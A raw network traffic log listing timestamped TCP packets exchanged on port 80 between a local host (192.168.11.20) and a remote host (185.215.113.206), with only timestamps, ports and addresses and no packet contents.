Dec 2, 2024 11:20:43.854608059 CET	80	49748	185.215.113.206	192.168.11.20
Dec 2, 2024 11:20:43.854655027 CET	80	49748	185.215.113.206	192.168.11.20
Dec 2, 2024 11:20:43.854698896 CET	80	49748	185.215.113.206	192.168.11.20
Dec 2, 2024 11:20:43.854815960 CET	49748	80	192.168.11.20	185.215.113.206
Dec 2, 2024 11:20:43.854841948 CET	80	49748	185.215.113.206	192.168.11.20
Dec 2, 2024 11:20:43.854891062 CET	80	49748	185.215.113.206	192.168.11.20
Dec 2, 2024 11:20:43.854927063 CET	49748	80	192.168.11.20	185.215.113.206
Dec 2, 2024 11:20:43.855019093 CET	49748	80	192.168.11.20	185.215.113.206
Dec 2, 2024 11:20:43.855019093 CET	49748	80	192.168.11.20	185.215.113.206
Dec 2, 2024 11:20:43.855087042 CET	80	49748	185.215.113.206	192.168.11.20
Dec 2, 2024 11:20:43.855139017 CET	80	49748	185.215.113.206	192.168.11.20
Dec 2, 2024 11:20:43.855187893 CET	80	49748	185.215.113.206	192.168.11.20
Dec 2, 2024 11:20:43.855297089 CET	80	49748	185.215.113.206	192.168.11.20
Dec 2, 2024 11:20:43.855304956 CET	49748	80	192.168.11.20	185.215.113.206
Dec 2, 2024 11:20:43.855340004 CET	49748	80	192.168.11.20	185.215.113.206
Dec 2, 2024 11:20:43.855372906 CET	80	49748	185.215.113.206	192.168.11.20
Dec 2, 2024 11:20:43.855416059 CET	80	49748	185.215.113.206	192.168.11.20
Dec 2, 2024 11:20:43.855457067 CET	49748	80	192.168.11.20	185.215.113.206
Dec 2, 2024 11:20:43.855521917 CET	80	49748	185.215.113.206	192.168.11.20
Dec 2, 2024 11:20:43.855528116 CET	49748	80	192.168.11.20	185.215.113.206
Dec 2, 2024 11:20:43.855528116 CET	49748	80	192.168.11.20	185.215.113.206
Dec 2, 2024 11:20:43.855588913 CET	80	49748	185.215.113.206	192.168.11.20
Dec 2, 2024 11:20:43.855679989 CET	49748	80	192.168.11.20	185.215.113.206
Dec 2, 2024 11:20:43.855767965 CET	49748	80	192.168.11.20	185.215.113.206
Dec 2, 2024 11:20:43.855825901 CET	80	49748	185.215.113.206	192.168.11.20
Dec 2, 2024 11:20:43.855870962 CET	80	49748	185.215.113.206	192.168.11.20
Dec 2, 2024 11:20:43.855952024 CET	80	49748	185.215.113.206	192.168.11.20
Dec 2, 2024 11:20:43.855977058 CET	49748	80	192.168.11.20	185.215.113.206
Dec 2, 2024 11:20:43.856024027 CET	49748	80	192.168.11.20	185.215.113.206
Dec 2, 2024 11:20:43.856066942 CET	80	49748	185.215.113.206	192.168.11.20
Dec 2, 2024 11:20:43.856092930 CET	49748	80	192.168.11.20	185.215.113.206
Dec 2, 2024 11:20:43.856165886 CET	80	49748	185.215.113.206	192.168.11.20
Dec 2, 2024 11:20:43.856213093 CET	49748	80	192.168.11.20	185.215.113.206
Dec 2, 2024 11:20:43.856300116 CET	80	49748	185.215.113.206	192.168.11.20
Dec 2, 2024 11:20:43.856314898 CET	49748	80	192.168.11.20	185.215.113.206
Dec 2, 2024 11:20:43.856399059 CET	80	49748	185.215.113.206	192.168.11.20
Dec 2, 2024 11:20:43.856446981 CET	80	49748	185.215.113.206	192.168.11.20
Dec 2, 2024 11:20:43.856452942 CET	49748	80	192.168.11.20	185.215.113.206
Dec 2, 2024 11:20:43.856547117 CET	49748	80	192.168.11.20	185.215.113.206
Dec 2, 2024 11:20:43.856587887 CET	49748	80	192.168.11.20	185.215.113.206
Dec 2, 2024 11:20:43.856713057 CET	80	49748	185.215.113.206	192.168.11.20
Dec 2, 2024 11:20:43.856758118 CET	80	49748	185.215.113.206	192.168.11.20
Dec 2, 2024 11:20:43.856801987 CET	80	49748	185.215.113.206	192.168.11.20
Dec 2, 2024 11:20:43.856851101 CET	49748	80	192.168.11.20	185.215.113.206
Dec 2, 2024 11:20:43.856851101 CET	49748	80	192.168.11.20	185.215.113.206
Dec 2, 2024 11:20:43.856918097 CET	80	49748	185.215.113.206	192.168.11.20
Dec 2, 2024 11:20:43.856952906 CET	49748	80	192.168.11.20	185.215.113.206
Dec 2, 2024 11:20:43.857018948 CET	80	49748	185.215.113.206	192.168.11.20
Dec 2, 2024 11:20:43.857064962 CET	80	49748	185.215.113.206	192.168.11.20
Dec 2, 2024 11:20:43.857080936 CET	49748	80	192.168.11.20	185.215.113.206
Dec 2, 2024 11:20:43.857166052 CET	80	49748	185.215.113.206	192.168.11.20
Dec 2, 2024 11:20:43.857175112 CET	49748	80	192.168.11.20	185.215.113.206
Dec 2, 2024 11:20:43.857220888 CET	49748	80	192.168.11.20	185.215.113.206
Dec 2, 2024 11:20:43.857376099 CET	80	49748	185.215.113.206	192.168.11.20
Dec 2, 2024 11:20:43.857382059 CET	49748	80	192.168.11.20	185.215.113.206
Dec 2, 2024 11:20:43.857460022 CET	80	49748	185.215.113.206	192.168.11.20
Dec 2, 2024 11:20:43.857506037 CET	80	49748	185.215.113.206	192.168.11.20
Dec 2, 2024 11:20:43.857523918 CET	49748	80	192.168.11.20	185.215.113.206
Dec 2, 2024 11:20:43.857567072 CET	80	49748	185.215.113.206	192.168.11.20
Dec 2, 2024 11:20:43.857651949 CET	80	49748	185.215.113.206	192.168.11.20
Dec 2, 2024 11:20:43.857680082 CET	49748	80	192.168.11.20	185.215.113.206
Dec 2, 2024 11:20:43.857728004 CET	49748	80	192.168.11.20	185.215.113.206
Dec 2, 2024 11:20:43.857804060 CET	80	49748	185.215.113.206	192.168.11.20
Dec 2, 2024 11:20:43.857811928 CET	49748	80	192.168.11.20	185.215.113.206
Dec 2, 2024 11:20:43.857863903 CET	80	49748	185.215.113.206	192.168.11.20
Dec 2, 2024 11:20:43.857949018 CET	80	49748	185.215.113.206	192.168.11.20
Dec 2, 2024 11:20:43.857954979 CET	49748	80	192.168.11.20	185.215.113.206
Dec 2, 2024 11:20:43.858031988 CET	49748	80	192.168.11.20	185.215.113.206
Dec 2, 2024 11:20:43.858181000 CET	49748	80	192.168.11.20	185.215.113.206
Dec 2, 2024 11:20:43.932508945 CET	80	49748	185.215.113.206	192.168.11.20
Dec 2, 2024 11:20:43.932539940 CET	80	49748	185.215.113.206	192.168.11.20
Dec 2, 2024 11:20:43.932842016 CET	49748	80	192.168.11.20	185.215.113.206
Dec 2, 2024 11:20:43.932957888 CET	80	49748	185.215.113.206	192.168.11.20
Dec 2, 2024 11:20:43.932985067 CET	80	49748	185.215.113.206	192.168.11.20
Dec 2, 2024 11:20:43.933006048 CET	80	49748	185.215.113.206	192.168.11.20
Dec 2, 2024 11:20:43.933146954 CET	80	49748	185.215.113.206	192.168.11.20
Dec 2, 2024 11:20:43.933171034 CET	80	49748	185.215.113.206	192.168.11.20
Dec 2, 2024 11:20:43.933228970 CET	49748	80	192.168.11.20	185.215.113.206
Dec 2, 2024 11:20:43.933321953 CET	80	49748	185.215.113.206	192.168.11.20
Dec 2, 2024 11:20:43.933371067 CET	49748	80	192.168.11.20	185.215.113.206
Dec 2, 2024 11:20:43.933505058 CET	49748	80	192.168.11.20	185.215.113.206
Dec 2, 2024 11:20:44.164936066 CET	80	49748	185.215.113.206	192.168.11.20
Dec 2, 2024 11:20:44.164998055 CET	80	49748	185.215.113.206	192.168.11.20
Dec 2, 2024 11:20:44.165045977 CET	80	49748	185.215.113.206	192.168.11.20
Dec 2, 2024 11:20:44.165210962 CET	49748	80	192.168.11.20	185.215.113.206
Dec 2, 2024 11:20:44.165211916 CET	49748	80	192.168.11.20	185.215.113.206
Dec 2, 2024 11:20:44.165211916 CET	49748	80	192.168.11.20	185.215.113.206
Dec 2, 2024 11:20:44.165369034 CET	80	49748	185.215.113.206	192.168.11.20
Dec 2, 2024 11:20:44.165440083 CET	80	49748	185.215.113.206	192.168.11.20
Dec 2, 2024 11:20:44.165488005 CET	80	49748	185.215.113.206	192.168.11.20
Dec 2, 2024 11:20:44.165529966 CET	80	49748	185.215.113.206	192.168.11.20
Dec 2, 2024 11:20:44.165554047 CET	49748	80	192.168.11.20	185.215.113.206
Dec 2, 2024 11:20:44.165554047 CET	49748	80	192.168.11.20	185.215.113.206
Dec 2, 2024 11:20:44.165599108 CET	49748	80	192.168.11.20	185.215.113.206
Dec 2, 2024 11:20:44.165616989 CET	80	49748	185.215.113.206	192.168.11.20
Dec 2, 2024 11:20:44.165705919 CET	49748	80	192.168.11.20	185.215.113.206
Dec 2, 2024 11:20:44.165760040 CET	49748	80	192.168.11.20	185.215.113.206
Dec 2, 2024 11:20:44.165781975 CET	80	49748	185.215.113.206	192.168.11.20
Dec 2, 2024 11:20:44.165872097 CET	80	49748	185.215.113.206	192.168.11.20
Dec 2, 2024 11:20:44.165915012 CET	80	49748	185.215.113.206	192.168.11.20
Dec 2, 2024 11:20:44.165941000 CET	49748	80	192.168.11.20	185.215.113.206
Dec 2, 2024 11:20:44.165977001 CET	80	49748	185.215.113.206	192.168.11.20
Dec 2, 2024 11:20:44.166012049 CET	49748	80	192.168.11.20	185.215.113.206
Dec 2, 2024 11:20:44.166012049 CET	49748	80	192.168.11.20	185.215.113.206
Dec 2, 2024 11:20:44.166124105 CET	80	49748	185.215.113.206	192.168.11.20
Dec 2, 2024 11:20:44.166130066 CET	49748	80	192.168.11.20	185.215.113.206
Dec 2, 2024 11:20:44.166182995 CET	80	49748	185.215.113.206	192.168.11.20
Dec 2, 2024 11:20:44.166228056 CET	80	49748	185.215.113.206	192.168.11.20
Dec 2, 2024 11:20:44.166279078 CET	49748	80	192.168.11.20	185.215.113.206
Dec 2, 2024 11:20:44.166327953 CET	49748	80	192.168.11.20	185.215.113.206
Dec 2, 2024 11:20:44.166383028 CET	80	49748	185.215.113.206	192.168.11.20
Dec 2, 2024 11:20:44.166388035 CET	49748	80	192.168.11.20	185.215.113.206
Dec 2, 2024 11:20:44.166439056 CET	80	49748	185.215.113.206	192.168.11.20
Dec 2, 2024 11:20:44.166520119 CET	80	49748	185.215.113.206	192.168.11.20
Dec 2, 2024 11:20:44.166538954 CET	49748	80	192.168.11.20	185.215.113.206
Dec 2, 2024 11:20:44.166620970 CET	80	49748	185.215.113.206	192.168.11.20
Dec 2, 2024 11:20:44.166626930 CET	49748	80	192.168.11.20	185.215.113.206
Dec 2, 2024 11:20:44.166665077 CET	49748	80	192.168.11.20	185.215.113.206
Dec 2, 2024 11:20:44.166774035 CET	49748	80	192.168.11.20	185.215.113.206
Dec 2, 2024 11:20:44.172018051 CET	80	49748	185.215.113.206	192.168.11.20
Dec 2, 2024 11:20:44.172079086 CET	80	49748	185.215.113.206	192.168.11.20
Dec 2, 2024 11:20:44.172281981 CET	49748	80	192.168.11.20	185.215.113.206
Dec 2, 2024 11:20:44.172281981 CET	49748	80	192.168.11.20	185.215.113.206
Dec 2, 2024 11:20:44.172498941 CET	80	49748	185.215.113.206	192.168.11.20
Dec 2, 2024 11:20:44.172552109 CET	80	49748	185.215.113.206	192.168.11.20
Dec 2, 2024 11:20:44.172596931 CET	80	49748	185.215.113.206	192.168.11.20
Dec 2, 2024 11:20:44.172689915 CET	49748	80	192.168.11.20	185.215.113.206
Dec 2, 2024 11:20:44.172748089 CET	80	49748	185.215.113.206	192.168.11.20
Dec 2, 2024 11:20:44.172796965 CET	80	49748	185.215.113.206	192.168.11.20
Dec 2, 2024 11:20:44.172801971 CET	49748	80	192.168.11.20	185.215.113.206
Dec 2, 2024 11:20:44.172897100 CET	49748	80	192.168.11.20	185.215.113.206
Dec 2, 2024 11:20:44.172950029 CET	80	49748	185.215.113.206	192.168.11.20
Dec 2, 2024 11:20:44.172955036 CET	49748	80	192.168.11.20	185.215.113.206
Dec 2, 2024 11:20:44.173007965 CET	80	49748	185.215.113.206	192.168.11.20
Dec 2, 2024 11:20:44.173049927 CET	80	49748	185.215.113.206	192.168.11.20
Dec 2, 2024 11:20:44.173130989 CET	49748	80	192.168.11.20	185.215.113.206
Dec 2, 2024 11:20:44.173130989 CET	49748	80	192.168.11.20	185.215.113.206
Dec 2, 2024 11:20:44.173177958 CET	49748	80	192.168.11.20	185.215.113.206
Dec 2, 2024 11:20:44.173239946 CET	80	49748	185.215.113.206	192.168.11.20
Dec 2, 2024 11:20:44.173352003 CET	80	49748	185.215.113.206	192.168.11.20
Dec 2, 2024 11:20:44.173393965 CET	49748	80	192.168.11.20	185.215.113.206
Dec 2, 2024 11:20:44.173522949 CET	80	49748	185.215.113.206	192.168.11.20
Dec 2, 2024 11:20:44.173533916 CET	49748	80	192.168.11.20	185.215.113.206
Dec 2, 2024 11:20:44.173688889 CET	49748	80	192.168.11.20	185.215.113.206
Dec 2, 2024 11:20:44.173825026 CET	80	49748	185.215.113.206	192.168.11.20
Dec 2, 2024 11:20:44.173923969 CET	80	49748	185.215.113.206	192.168.11.20
Dec 2, 2024 11:20:44.173969030 CET	80	49748	185.215.113.206	192.168.11.20
Dec 2, 2024 11:20:44.174014091 CET	80	49748	185.215.113.206	192.168.11.20
Dec 2, 2024 11:20:44.174040079 CET	49748	80	192.168.11.20	185.215.113.206
Dec 2, 2024 11:20:44.174079895 CET	80	49748	185.215.113.206	192.168.11.20
Dec 2, 2024 11:20:44.174120903 CET	49748	80	192.168.11.20	185.215.113.206
Dec 2, 2024 11:20:44.174170017 CET	49748	80	192.168.11.20	185.215.113.206
Dec 2, 2024 11:20:44.174257994 CET	80	49748	185.215.113.206	192.168.11.20
Dec 2, 2024 11:20:44.174308062 CET	80	49748	185.215.113.206	192.168.11.20
Dec 2, 2024 11:20:44.174315929 CET	49748	80	192.168.11.20	185.215.113.206
Dec 2, 2024 11:20:44.174444914 CET	80	49748	185.215.113.206	192.168.11.20
Dec 2, 2024 11:20:44.174452066 CET	49748	80	192.168.11.20	185.215.113.206
Dec 2, 2024 11:20:44.174505949 CET	80	49748	185.215.113.206	192.168.11.20
Dec 2, 2024 11:20:44.174547911 CET	80	49748	185.215.113.206	192.168.11.20
Dec 2, 2024 11:20:44.174643993 CET	80	49748	185.215.113.206	192.168.11.20
Dec 2, 2024 11:20:44.174653053 CET	49748	80	192.168.11.20	185.215.113.206
Dec 2, 2024 11:20:44.174705982 CET	80	49748	185.215.113.206	192.168.11.20
Dec 2, 2024 11:20:44.174727917 CET	49748	80	192.168.11.20	185.215.113.206
Dec 2, 2024 11:20:44.174765110 CET	80	49748	185.215.113.206	192.168.11.20
Dec 2, 2024 11:20:44.174798012 CET	49748	80	192.168.11.20	185.215.113.206
Dec 2, 2024 11:20:44.174845934 CET	49748	80	192.168.11.20	185.215.113.206
Dec 2, 2024 11:20:44.174880028 CET	80	49748	185.215.113.206	192.168.11.20
Dec 2, 2024 11:20:44.174911022 CET	49748	80	192.168.11.20	185.215.113.206
Dec 2, 2024 11:20:44.175012112 CET	80	49748	185.215.113.206	192.168.11.20
Dec 2, 2024 11:20:44.175045967 CET	49748	80	192.168.11.20	185.215.113.206
Dec 2, 2024 11:20:44.175112009 CET	80	49748	185.215.113.206	192.168.11.20
Dec 2, 2024 11:20:44.175211906 CET	49748	80	192.168.11.20	185.215.113.206
Dec 2, 2024 11:20:44.175262928 CET	49748	80	192.168.11.20	185.215.113.206
Dec 2, 2024 11:20:44.175318003 CET	80	49748	185.215.113.206	192.168.11.20
Dec 2, 2024 11:20:44.175362110 CET	80	49748	185.215.113.206	192.168.11.20
Dec 2, 2024 11:20:44.175405025 CET	80	49748	185.215.113.206	192.168.11.20
Dec 2, 2024 11:20:44.175499916 CET	49748	80	192.168.11.20	185.215.113.206
Dec 2, 2024 11:20:44.175533056 CET	80	49748	185.215.113.206	192.168.11.20
Dec 2, 2024 11:20:44.175575972 CET	49748	80	192.168.11.20	185.215.113.206
Dec 2, 2024 11:20:44.175633907 CET	80	49748	185.215.113.206	192.168.11.20
Dec 2, 2024 11:20:44.175681114 CET	49748	80	192.168.11.20	185.215.113.206
Dec 2, 2024 11:20:44.175744057 CET	80	49748	185.215.113.206	192.168.11.20
Dec 2, 2024 11:20:44.175802946 CET	49748	80	192.168.11.20	185.215.113.206
Dec 2, 2024 11:20:44.175923109 CET	80	49748	185.215.113.206	192.168.11.20
Dec 2, 2024 11:20:44.175930023 CET	49748	80	192.168.11.20	185.215.113.206
Dec 2, 2024 11:20:44.175983906 CET	80	49748	185.215.113.206	192.168.11.20
Dec 2, 2024 11:20:44.176139116 CET	49748	80	192.168.11.20	185.215.113.206
Dec 2, 2024 11:20:44.176187038 CET	49748	80	192.168.11.20	185.215.113.206
Dec 2, 2024 11:20:44.176301003 CET	80	49748	185.215.113.206	192.168.11.20
Dec 2, 2024 11:20:44.176352978 CET	80	49748	185.215.113.206	192.168.11.20
Dec 2, 2024 11:20:44.176398993 CET	80	49748	185.215.113.206	192.168.11.20
Dec 2, 2024 11:20:44.176440954 CET	80	49748	185.215.113.206	192.168.11.20
Dec 2, 2024 11:20:44.176459074 CET	49748	80	192.168.11.20	185.215.113.206
Dec 2, 2024 11:20:44.176506042 CET	80	49748	185.215.113.206	192.168.11.20
Dec 2, 2024 11:20:44.176522970 CET	49748	80	192.168.11.20	185.215.113.206
Dec 2, 2024 11:20:44.176522970 CET	49748	80	192.168.11.20	185.215.113.206
Dec 2, 2024 11:20:44.176574945 CET	80	49748	185.215.113.206	192.168.11.20
Dec 2, 2024 11:20:44.176620007 CET	80	49748	185.215.113.206	192.168.11.20
Dec 2, 2024 11:20:44.176692009 CET	49748	80	192.168.11.20	185.215.113.206
Dec 2, 2024 11:20:44.176757097 CET	49748	80	192.168.11.20	185.215.113.206
Dec 2, 2024 11:20:44.176805973 CET	80	49748	185.215.113.206	192.168.11.20
Dec 2, 2024 11:20:44.176893950 CET	80	49748	185.215.113.206	192.168.11.20
Dec 2, 2024 11:20:44.177005053 CET	49748	80	192.168.11.20	185.215.113.206
Dec 2, 2024 11:20:44.177053928 CET	80	49748	185.215.113.206	192.168.11.20
Dec 2, 2024 11:20:44.177059889 CET	49748	80	192.168.11.20	185.215.113.206
Dec 2, 2024 11:20:44.177113056 CET	80	49748	185.215.113.206	192.168.11.20
Dec 2, 2024 11:20:44.177155018 CET	80	49748	185.215.113.206	192.168.11.20
Dec 2, 2024 11:20:44.177198887 CET	49748	80	192.168.11.20	185.215.113.206
Dec 2, 2024 11:20:44.177248001 CET	49748	80	192.168.11.20	185.215.113.206
Dec 2, 2024 11:20:44.177248001 CET	49748	80	192.168.11.20	185.215.113.206
Dec 2, 2024 11:20:44.177275896 CET	80	49748	185.215.113.206	192.168.11.20
Dec 2, 2024 11:20:44.177364111 CET	80	49748	185.215.113.206	192.168.11.20
Dec 2, 2024 11:20:44.177436113 CET	49748	80	192.168.11.20	185.215.113.206
Dec 2, 2024 11:20:44.177510977 CET	49748	80	192.168.11.20	185.215.113.206
Dec 2, 2024 11:20:44.177541971 CET	80	49748	185.215.113.206	192.168.11.20
Dec 2, 2024 11:20:44.177624941 CET	80	49748	185.215.113.206	192.168.11.20
Dec 2, 2024 11:20:44.177668095 CET	80	49748	185.215.113.206	192.168.11.20
Dec 2, 2024 11:20:44.177694082 CET	49748	80	192.168.11.20	185.215.113.206
Dec 2, 2024 11:20:44.177757978 CET	49748	80	192.168.11.20	185.215.113.206
Dec 2, 2024 11:20:44.177757978 CET	49748	80	192.168.11.20	185.215.113.206
Dec 2, 2024 11:20:44.177787066 CET	80	49748	185.215.113.206	192.168.11.20
Dec 2, 2024 11:20:44.177872896 CET	80	49748	185.215.113.206	192.168.11.20
Dec 2, 2024 11:20:44.177927017 CET	49748	80	192.168.11.20	185.215.113.206
Dec 2, 2024 11:20:44.178047895 CET	49748	80	192.168.11.20	185.215.113.206
Dec 2, 2024 11:20:44.178080082 CET	80	49748	185.215.113.206	192.168.11.20
Dec 2, 2024 11:20:44.178126097 CET	80	49748	185.215.113.206	192.168.11.20
Dec 2, 2024 11:20:44.178168058 CET	80	49748	185.215.113.206	192.168.11.20
Dec 2, 2024 11:20:44.178244114 CET	49748	80	192.168.11.20	185.215.113.206
Dec 2, 2024 11:20:44.178244114 CET	49748	80	192.168.11.20	185.215.113.206
Dec 2, 2024 11:20:44.178272009 CET	80	49748	185.215.113.206	192.168.11.20
Dec 2, 2024 11:20:44.178340912 CET	49748	80	192.168.11.20	185.215.113.206
Dec 2, 2024 11:20:44.178407907 CET	80	49748	185.215.113.206	192.168.11.20
Dec 2, 2024 11:20:44.178414106 CET	49748	80	192.168.11.20	185.215.113.206
Dec 2, 2024 11:20:44.178464890 CET	80	49748	185.215.113.206	192.168.11.20
Dec 2, 2024 11:20:44.178509951 CET	80	49748	185.215.113.206	192.168.11.20
Dec 2, 2024 11:20:44.178554058 CET	49748	80	192.168.11.20	185.215.113.206
Dec 2, 2024 11:20:44.178600073 CET	49748	80	192.168.11.20	185.215.113.206
Dec 2, 2024 11:20:44.178600073 CET	49748	80	192.168.11.20	185.215.113.206
Dec 2, 2024 11:20:44.178668976 CET	80	49748	185.215.113.206	192.168.11.20
Dec 2, 2024 11:20:44.178750992 CET	80	49748	185.215.113.206	192.168.11.20
Dec 2, 2024 11:20:44.178811073 CET	49748	80	192.168.11.20	185.215.113.206
Dec 2, 2024 11:20:44.178880930 CET	80	49748	185.215.113.206	192.168.11.20
Dec 2, 2024 11:20:44.178916931 CET	49748	80	192.168.11.20	185.215.113.206
Dec 2, 2024 11:20:44.179011106 CET	80	49748	185.215.113.206	192.168.11.20
Dec 2, 2024 11:20:44.179090023 CET	49748	80	192.168.11.20	185.215.113.206
Dec 2, 2024 11:20:44.179168940 CET	80	49748	185.215.113.206	192.168.11.20
Dec 2, 2024 11:20:44.179174900 CET	49748	80	192.168.11.20	185.215.113.206
Dec 2, 2024 11:20:44.179227114 CET	80	49748	185.215.113.206	192.168.11.20
Dec 2, 2024 11:20:44.179270983 CET	80	49748	185.215.113.206	192.168.11.20
Dec 2, 2024 11:20:44.179331064 CET	49748	80	192.168.11.20	185.215.113.206
Dec 2, 2024 11:20:44.179378986 CET	49748	80	192.168.11.20	185.215.113.206
Dec 2, 2024 11:20:44.179423094 CET	80	49748	185.215.113.206	192.168.11.20
Dec 2, 2024 11:20:44.179430962 CET	49748	80	192.168.11.20	185.215.113.206
Dec 2, 2024 11:20:44.179481983 CET	80	49748	185.215.113.206	192.168.11.20
Dec 2, 2024 11:20:44.179524899 CET	80	49748	185.215.113.206	192.168.11.20
Dec 2, 2024 11:20:44.179565907 CET	49748	80	192.168.11.20	185.215.113.206
Dec 2, 2024 11:20:44.179619074 CET	49748	80	192.168.11.20	185.215.113.206
Dec 2, 2024 11:20:44.179641962 CET	80	49748	185.215.113.206	192.168.11.20
Dec 2, 2024 11:20:44.179665089 CET	49748	80	192.168.11.20	185.215.113.206
Dec 2, 2024 11:20:44.179773092 CET	80	49748	185.215.113.206	192.168.11.20
Dec 2, 2024 11:20:44.179852009 CET	49748	80	192.168.11.20	185.215.113.206
Dec 2, 2024 11:20:44.179900885 CET	80	49748	185.215.113.206	192.168.11.20
Dec 2, 2024 11:20:44.179932117 CET	49748	80	192.168.11.20	185.215.113.206
Dec 2, 2024 11:20:44.179961920 CET	80	49748	185.215.113.206	192.168.11.20
Dec 2, 2024 11:20:44.180005074 CET	80	49748	185.215.113.206	192.168.11.20
Dec 2, 2024 11:20:44.180059910 CET	49748	80	192.168.11.20	185.215.113.206
Dec 2, 2024 11:20:44.180059910 CET	49748	80	192.168.11.20	185.215.113.206
Dec 2, 2024 11:20:44.180107117 CET	49748	80	192.168.11.20	185.215.113.206
Dec 2, 2024 11:20:44.180160999 CET	80	49748	185.215.113.206	192.168.11.20
Dec 2, 2024 11:20:44.180247068 CET	80	49748	185.215.113.206	192.168.11.20
Dec 2, 2024 11:20:44.180319071 CET	49748	80	192.168.11.20	185.215.113.206
Dec 2, 2024 11:20:44.180344105 CET	80	49748	185.215.113.206	192.168.11.20
Dec 2, 2024 11:20:44.180414915 CET	49748	80	192.168.11.20	185.215.113.206
Dec 2, 2024 11:20:44.180469990 CET	80	49748	185.215.113.206	192.168.11.20
Dec 2, 2024 11:20:44.180489063 CET	49748	80	192.168.11.20	185.215.113.206
Dec 2, 2024 11:20:44.180550098 CET	80	49748	185.215.113.206	192.168.11.20
Dec 2, 2024 11:20:44.180618048 CET	49748	80	192.168.11.20	185.215.113.206
Dec 2, 2024 11:20:44.180711985 CET	49748	80	192.168.11.20	185.215.113.206
Dec 2, 2024 11:20:44.254825115 CET	80	49748	185.215.113.206	192.168.11.20
Dec 2, 2024 11:20:44.254978895 CET	80	49748	185.215.113.206	192.168.11.20
Dec 2, 2024 11:20:44.255042076 CET	49748	80	192.168.11.20	185.215.113.206
Dec 2, 2024 11:20:44.255232096 CET	80	49748	185.215.113.206	192.168.11.20
Dec 2, 2024 11:20:44.255326986 CET	49748	80	192.168.11.20	185.215.113.206
Dec 2, 2024 11:20:44.255337954 CET	80	49748	185.215.113.206	192.168.11.20
Dec 2, 2024 11:20:44.255453110 CET	80	49748	185.215.113.206	192.168.11.20
Dec 2, 2024 11:20:44.255510092 CET	80	49748	185.215.113.206	192.168.11.20
Dec 2, 2024 11:20:44.255574942 CET	80	49748	185.215.113.206	192.168.11.20
Dec 2, 2024 11:20:44.255702972 CET	80	49748	185.215.113.206	192.168.11.20
Dec 2, 2024 11:20:44.255738020 CET	49748	80	192.168.11.20	185.215.113.206
Dec 2, 2024 11:20:44.255738020 CET	49748	80	192.168.11.20	185.215.113.206
Dec 2, 2024 11:20:44.255851030 CET	80	49748	185.215.113.206	192.168.11.20
Dec 2, 2024 11:20:44.255918980 CET	49748	80	192.168.11.20	185.215.113.206
Dec 2, 2024 11:20:44.256100893 CET	49748	80	192.168.11.20	185.215.113.206
Dec 2, 2024 11:20:44.256198883 CET	49748	80	192.168.11.20	185.215.113.206
Dec 2, 2024 11:20:44.487840891 CET	80	49748	185.215.113.206	192.168.11.20
Dec 2, 2024 11:20:44.487857103 CET	80	49748	185.215.113.206	192.168.11.20
Dec 2, 2024 11:20:44.488045931 CET	49748	80	192.168.11.20	185.215.113.206
Dec 2, 2024 11:20:44.488045931 CET	49748	80	192.168.11.20	185.215.113.206
Dec 2, 2024 11:20:44.488084078 CET	80	49748	185.215.113.206	192.168.11.20
Dec 2, 2024 11:20:44.488121986 CET	80	49748	185.215.113.206	192.168.11.20
Dec 2, 2024 11:20:44.488322973 CET	49748	80	192.168.11.20	185.215.113.206
Dec 2, 2024 11:20:44.488358021 CET	80	49748	185.215.113.206	192.168.11.20
Dec 2, 2024 11:20:44.488370895 CET	80	49748	185.215.113.206	192.168.11.20
Dec 2, 2024 11:20:44.488517046 CET	49748	80	192.168.11.20	185.215.113.206
Dec 2, 2024 11:20:44.488517046 CET	49748	80	192.168.11.20	185.215.113.206
Dec 2, 2024 11:20:44.488553047 CET	80	49748	185.215.113.206	192.168.11.20
Dec 2, 2024 11:20:44.488564968 CET	80	49748	185.215.113.206	192.168.11.20
Dec 2, 2024 11:20:44.488739014 CET	49748	80	192.168.11.20	185.215.113.206
Dec 2, 2024 11:20:44.488739014 CET	49748	80	192.168.11.20	185.215.113.206
Dec 2, 2024 11:20:44.488775015 CET	80	49748	185.215.113.206	192.168.11.20
Dec 2, 2024 11:20:44.488786936 CET	80	49748	185.215.113.206	192.168.11.20
Dec 2, 2024 11:20:44.488997936 CET	49748	80	192.168.11.20	185.215.113.206
Dec 2, 2024 11:20:44.489031076 CET	80	49748	185.215.113.206	192.168.11.20
Dec 2, 2024 11:20:44.489042997 CET	80	49748	185.215.113.206	192.168.11.20
Dec 2, 2024 11:20:44.489186049 CET	80	49748	185.215.113.206	192.168.11.20
Dec 2, 2024 11:20:44.489229918 CET	80	49748	185.215.113.206	192.168.11.20
Dec 2, 2024 11:20:44.489232063 CET	49748	80	192.168.11.20	185.215.113.206
Dec 2, 2024 11:20:44.489309072 CET	49748	80	192.168.11.20	185.215.113.206
Dec 2, 2024 11:20:44.489309072 CET	49748	80	192.168.11.20	185.215.113.206
Dec 2, 2024 11:20:44.489351988 CET	80	49748	185.215.113.206	192.168.11.20
Dec 2, 2024 11:20:44.489521980 CET	80	49748	185.215.113.206	192.168.11.20
Dec 2, 2024 11:20:44.489536047 CET	80	49748	185.215.113.206	192.168.11.20
Dec 2, 2024 11:20:44.489546061 CET	80	49748	185.215.113.206	192.168.11.20
Dec 2, 2024 11:20:44.489556074 CET	49748	80	192.168.11.20	185.215.113.206
Dec 2, 2024 11:20:44.489646912 CET	49748	80	192.168.11.20	185.215.113.206
Dec 2, 2024 11:20:44.489646912 CET	49748	80	192.168.11.20	185.215.113.206
Dec 2, 2024 11:20:44.489691019 CET	49748	80	192.168.11.20	185.215.113.206
Dec 2, 2024 11:20:44.489757061 CET	80	49748	185.215.113.206	192.168.11.20
Dec 2, 2024 11:20:44.489892960 CET	49748	80	192.168.11.20	185.215.113.206
Dec 2, 2024 11:20:44.494620085 CET	80	49748	185.215.113.206	192.168.11.20
Dec 2, 2024 11:20:44.494790077 CET	80	49748	185.215.113.206	192.168.11.20
Dec 2, 2024 11:20:44.494795084 CET	49748	80	192.168.11.20	185.215.113.206
Dec 2, 2024 11:20:44.495016098 CET	49748	80	192.168.11.20	185.215.113.206
Dec 2, 2024 11:20:44.495049953 CET	80	49748	185.215.113.206	192.168.11.20
Dec 2, 2024 11:20:44.495269060 CET	49748	80	192.168.11.20	185.215.113.206
Dec 2, 2024 11:20:44.495301008 CET	80	49748	185.215.113.206	192.168.11.20
Dec 2, 2024 11:20:44.495327950 CET	80	49748	185.215.113.206	192.168.11.20
Dec 2, 2024 11:20:44.495460033 CET	49748	80	192.168.11.20	185.215.113.206
Dec 2, 2024 11:20:44.495460033 CET	49748	80	192.168.11.20	185.215.113.206
Dec 2, 2024 11:20:44.495495081 CET	80	49748	185.215.113.206	192.168.11.20
